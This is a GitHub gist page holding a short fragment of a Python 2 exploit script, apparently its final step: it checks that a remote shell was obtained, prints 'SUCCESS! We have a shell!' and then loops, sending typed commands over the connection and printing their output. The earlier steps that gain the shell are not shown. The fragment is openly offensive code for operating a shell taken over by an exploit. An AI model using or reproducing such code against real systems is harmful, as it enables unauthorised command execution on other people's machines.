Last active
December 15, 2015 18:39
-
-
Save vanhoefm/5305930 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Step 4 --- Test whether we've got our shell and let the magic happen | |
nc.write("echo \"GOT A SHELL\"\n") | |
nc.read_until("GOT A SHELL\n") | |
print "\nSUCCESS! We have a shell!\n" | |
while True: | |
command = raw_input("$ ") | |
nc.write(command + "\n") | |
# quick and dirty way to detect end of output | |
nc.write("echo \":ENDOFOUTPUT:\"\n") | |
print nc.read_until(":ENDOFOUTPUT:\n")[:-14], |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment